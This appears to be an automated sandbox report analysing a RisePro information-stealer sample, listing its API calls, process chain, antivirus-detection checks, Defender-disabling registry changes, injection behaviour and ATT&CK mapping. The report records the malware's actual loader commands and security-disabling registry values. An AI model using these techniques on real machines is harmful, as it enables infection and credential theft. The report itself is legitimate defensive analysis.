Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B0F445 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	21_2_00B0F445
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B0F5A2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	21_2_00B0F5A2
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B0F8A3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	21_2_00B0F8A3
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B03B4F FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	21_2_00B03B4F
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00B03E72 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	21_2_00B03E72
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00FC2022 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	21_2_00FC2022
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_01056000 CreateDirectoryA,FindFirstFileA,FindNextFileA,GetLastError,FindClose,	21_2_01056000
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_01076770 FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,GetLastError,std::_Throw_Cpp_error,std::_Throw_Cpp_error,CreateDirectoryA,std::_Throw_Cpp_error,std::_Throw_Cpp_error,	21_2_01076770
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_010238D0 FindFirstFileA,FindNextFileA,GetLastError,FindClose,	21_2_010238D0

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_00305D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

17_2_00305D13

Source: Origin.pif, 00000015.00000002.3983887690.0000000001250000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: SecureHawk.pif, 00000011.00000002.3984590869.000000000161D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll:
Source: Origin.pif, 00000015.00000002.3983630493.0000000000F8B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: Origin.pif, 00000015.00000002.3983887690.000000000129E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}!
Source: 5daucomrx8.exe, 00000000.00000002.1566309405.000000000066E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: Origin.pif, 00000015.00000002.3983887690.0000000001250000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&,
Source: Origin.pif, 00000015.00000002.3983887690.000000000129E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll:%
Source: Origin.pif, 00000015.00000003.3857013404.00000000012B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: Origin.pif, 00000015.00000002.3983887690.000000000126F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}$+

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_003643B9 BlockInput,

17_2_003643B9

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_00305240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

17_2_00305240

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_00325BDC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

17_2_00325BDC

Source: C:\Users\user\Desktop\5daucomrx8.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00FEDB00 mov eax, dword ptr fs:[00000030h]	21_2_00FEDB00
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00FEDB00 mov eax, dword ptr fs:[00000030h]	21_2_00FEDB00
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_01066280 mov eax, dword ptr fs:[00000030h]	21_2_01066280

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_003486B0 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

17_2_003486B0

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0031A2B5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_0031A2B5
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0031A284 SetUnhandledExceptionFilter,	17_2_0031A284
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00ACA2B5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_00ACA2B5
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00ACA284 SetUnhandledExceptionFilter,	21_2_00ACA284
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00FC4184 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_00FC4184
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00FC4311 SetUnhandledExceptionFilter,	21_2_00FC4311
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 21_2_00FC451D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	21_2_00FC451D

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject threads in other processes

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 21_2_0105F280 VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAllocEx,LoadLibraryA,GetProcAddress,WriteProcessMemory,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject,

21_2_0105F280

Disables Windows Defender (deletes autostart)

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Registry value deleted: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{52D21685-6F41-4E1C-A1BC-43C6191BF968}Machine\SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Memory written: C:\Users\user\AppData\Local\Temp\369580\Origin.pif base: F90000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_0034914C LogonUserW,

17_2_0034914C

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_00305240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

17_2_00305240

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_00351932 SendInput,keybd_event,

17_2_00351932

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_0035507B mouse_event,

17_2_0035507B

Source: C:\Users\user\Desktop\5daucomrx8.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 369580	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "MaskBathroomsCompoundInjection" Participants	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Massachusetts + Radius + Dental + Vendor + Fighting + June + Stockings + Convenience + Falls + Joke + Mask + Severe + Outreach + Sig + Bdsm 369580\Z	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\369580\Origin.pif 369580\Origin.pif 369580\Z	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Process created: C:\Users\user\AppData\Local\Temp\369580\Origin.pif C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif" "C:\Users\user\AppData\Local\LinkGuard Dynamics\r"	Jump to behavior

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

17_2_003486B0

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_00354D89 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

17_2_00354D89

Source: Origin.pif, 0000000B.00000003.1605691240.00000000047AB000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 0000000B.00000000.1595506259.0000000000B55000.00000002.00000001.01000000.00000005.sdmp, SecureHawk.pif, 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: SecureHawk.pif, Origin.pif	Binary or memory string: Shell_TrayWnd
Source: 5daucomrx8.exe, 00000000.00000003.1560779161.00000000028F7000.00000004.00000020.00020000.00000000.sdmp, Studios.0.dr	Binary or memory string: u3;.a3xAll files (.).*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_0031878B cpuid

17_2_0031878B

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: GetLocaleInfoW,	21_2_00FE31CA
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: EnumSystemLocalesW,	21_2_00FDB1B1
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	21_2_00FE32F3
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: GetLocaleInfoW,	21_2_00FE33F9
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	21_2_00FE34CF
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: GetLocaleInfoW,	21_2_00FDB734

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_0035E0CA GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,__wsplitpath,_wcscat,_wcscat,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,_wcscpy,SetCurrentDirectoryW,

17_2_0035E0CA

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_00330652 GetUserNameW,

17_2_00330652

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif

Code function: 17_2_0032409A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

17_2_0032409A

Source: C:\Users\user\Desktop\5daucomrx8.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender real time protection (registry)

Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{52D21685-6F41-4E1C-A1BC-43C6191BF968}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions	Registry value created: Exclusions_Extensions 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{52D21685-6F41-4E1C-A1BC-43C6191BF968}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableAntiSpyware 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{52D21685-6F41-4E1C-A1BC-43C6191BF968}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableRoutinelyTakingAction 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{52D21685-6F41-4E1C-A1BC-43C6191BF968}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableBehaviorMonitoring 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{52D21685-6F41-4E1C-A1BC-43C6191BF968}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableOnAccessProtection 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{52D21685-6F41-4E1C-A1BC-43C6191BF968}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableScanOnRealtimeEnable 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{52D21685-6F41-4E1C-A1BC-43C6191BF968}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{52D21685-6F41-4E1C-A1BC-43C6191BF968}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{52D21685-6F41-4E1C-A1BC-43C6191BF968}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRawWriteNotification 1	Jump to behavior

Exclude list of file types from scheduled, custom, and real-time scanning

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Registry value created: Exclusions_Extensions 1

Jump to behavior

Modifies Group Policy settings

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

File written: C:\Windows\System32\GroupPolicy\GPT.INI

Jump to behavior

Stealing of Sensitive Information

Yara detected RisePro Stealer

Source: Yara match

File source: Process Memory Space: Origin.pif PID: 3848, type: MEMORYSTR

Source: Origin.pif	Binary or memory string: WIN_81
Source: Origin.pif	Binary or memory string: WIN_XP
Source: Origin.pif	Binary or memory string: WIN_XPe
Source: SecureHawk.pif.11.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 2USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyteP
Source: Origin.pif	Binary or memory string: WIN_VISTA
Source: Origin.pif	Binary or memory string: WIN_7
Source: Origin.pif	Binary or memory string: WIN_8

Remote Access Functionality

Yara detected RisePro Stealer

Source: Yara match

File source: Process Memory Space: Origin.pif PID: 3848, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00366733 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		17_2_00366733
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00366BF7 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		17_2_00366BF7

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	2 Valid Accounts	1 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	51 Disable or Modify Tools	21 Input Capture	12 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	12 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	2 Valid Accounts	1 Bypass User Account Control	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	2 Valid Accounts	1 Software Packing	NTDS	37 System Information Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	141 Security Software Discovery	SSH	Keylogging	1 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	212 Process Injection	1 Bypass User Account Control	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Scheduled Task/Job	111 Masquerading	DCSync	4 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Valid Accounts	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	212 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
5daucomrx8.exe	32%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\369580\Origin.pif	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Beginning	0%	ReversingLabs

Source	Detection	Scanner	Label
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
https://www.maxmind.com/en/locate-my-ip-address	0%	Avira URL Cloud	safe
http://www.winimage.com/zLibDll	0%	Avira URL Cloud	safe
https://ipinfo.io/	0%	Avira URL Cloud	safe
https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll	0%	Avira URL Cloud	safe
http://www.autoitscript.com/autoit3/J	0%	Avira URL Cloud	safe
https://t.me/RiseProSUPPORT	0%	Avira URL Cloud	safe
http://www.autoitscript.com/autoit3/0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
jZFqZYoOtpryMyRHD.jZFqZYoOtpryMyRHD	unknown	unknown	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll	Origin.pif, 00000015.00000002.3983668133.0000000000F90000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	5daucomrx8.exe, 00000000.00000003.1560779161.0000000002900000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000B.00000003.1605691240.00000000047B9000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 0000000B.00000000.1595592768.0000000000B68000.00000002.00000001.01000000.00000005.sdmp, SecureHawk.pif, 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmp, Origin.pif, 00000015.00000002.3983571280.0000000000B68000.00000002.00000001.01000000.00000005.sdmp, Origin.pif, 00000015.00000002.3984435194.0000000004E7D000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, Studios.0.dr, SecureHawk.pif.11.dr	false	Avira URL Cloud: safe	unknown
http://www.winimage.com/zLibDll	Origin.pif, Origin.pif, 00000015.00000002.3983668133.0000000000F90000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/RiseProSUPPORT	Origin.pif, 00000015.00000002.3983887690.0000000001257000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	5daucomrx8.exe	false	URL Reputation: safe	unknown
https://ipinfo.io/	Origin.pif	false	Avira URL Cloud: safe	unknown
https://www.maxmind.com/en/locate-my-ip-address	Origin.pif	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/0	5daucomrx8.exe, 00000000.00000003.1530090678.00000000028F0000.00000004.00000020.00020000.00000000.sdmp, Origin.pif, 0000000B.00000003.1605691240.00000000047B9000.00000004.00000800.00020000.00000000.sdmp, Origin.pif, 00000015.00000002.3984435194.0000000004E7D000.00000004.00000020.00020000.00000000.sdmp, Origin.pif.2.dr, SecureHawk.pif.11.dr, Beginning.0.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
3.36.173.8	unknown	United States		8987	AMAZONEXPANSIONGB	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1519279
Start date and time:	2024-09-26 09:48:17 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5daucomrx8.exe renamed because original name is a hash value
Original Sample Name:	33ff8752083bf6b5105749bf5b772b4a.exe
Detection:	MAL
Classification:	mal100.rans.troj.evad.winEXE@30/56@2/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 85% Number of executed functions: 87 Number of non-executed functions: 308
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: 5daucomrx8.exe

Simulations

Behavior and APIs

Time	Type	Description
03:49:27	API Interceptor	1x Sleep call for process: 5daucomrx8.exe modified
03:50:10	API Interceptor	8785x Sleep call for process: Origin.pif modified
03:50:19	API Interceptor	7063x Sleep call for process: SecureHawk.pif modified
09:49:33	Task Scheduler	Run new task: SecureHawk path: wscript s>//B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
